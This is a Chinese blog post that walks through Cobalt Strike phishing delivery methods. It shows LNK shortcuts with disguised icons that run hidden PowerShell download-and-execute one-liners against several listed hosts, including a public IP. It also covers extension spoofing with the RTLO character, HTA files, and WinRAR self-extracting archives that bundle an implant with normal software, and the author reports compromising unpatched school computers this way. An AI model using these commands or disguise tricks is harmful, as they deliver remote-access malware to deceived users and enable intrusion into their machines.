钓鱼(一)

钓鱼(一)

前言

本来是给协会招新的时候介绍的,结果深圳疫情改上网课了,计划泡汤但是还是把学到的东西简单记录一下。

本篇全部用cs演示

image-20221013195838436

LNK快捷方式

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。

生成钓鱼链接

image-20221013202417400

生成

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.239.56:80/a'))"

创建快捷方式

image-20221013202526498

更改图标进行伪装

%SystemRoot%\System32\SHELL32.dll

image-20221013202949359

双击就上线了

image-20221013203054496

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.111.128:80/a'))"
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://8.129.42.140:1234/a'))"

RTLO反转文件名

RTLO 字符全名为 “RIGHT-TO-LEFT OVERRIDE”,其本质是 unicode 字符。可以将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字,比如阿拉伯语,希伯来语。由于它可以重新排列字符的特性,会被攻击者利用从而达到欺骗目标

image-20221013192803685

不过注意它不支持下划线

比如把这个文件重命名,重命名为abc.exe,将abc.exe(.scr等同于.exe)重命名为 abcgpj.exe,然后再次重命名,在c和g中右键选择RLO即可

效果

image-20221013193825256

HTA (待完成)

HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,本身就是html应用程序,双击就能运行,却比普通网页权限大得多,它具有桌面程序的所有权限,与VB、C++等程序语言所设计的软件界面没什么差别。

新建一个后缀为 .hta的HTA,输入以下

<!--example1.hta-->
<html>
<head>
<title>test</title>
<style>
p{
font-size:24;
cursor:hand}
</style>
</head>
<body>
<center>
<p>
HTA
HTMLApplication
test
</p>
</center>
</body>
</html>

运行

image-20221013194818889

CS可以直接生成

自解压捆绑

将CS的马和正常软件,利用winrar进行压缩

image-20221013221020007

image-20221013223248697

image-20221013223454724

image-20221013223610290

image-20221013223802026

image-20221013223819799

image-20221013223852693

之后可以生成自解压捆绑压缩包

但是实操发现大部分win10都可以发现(没解压就发现病毒了),尽管关闭防火墙,系统内核检测到rce行为也会重启计算机

但是学校的win8不会,hhhh

复现成功截图如下

image-20221018154526577

image-20221018154545467

image-20221018154601210

所以说学校的电脑挺拉的,一没杀软二没补丁三版本还老

评论

  1. 你个头
    9 月前
    2023-7-21 15:09:17

    冲呀

    • 博主
      你个头
      9 月前
      2023-7-22 20:08:23

      冲呀

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇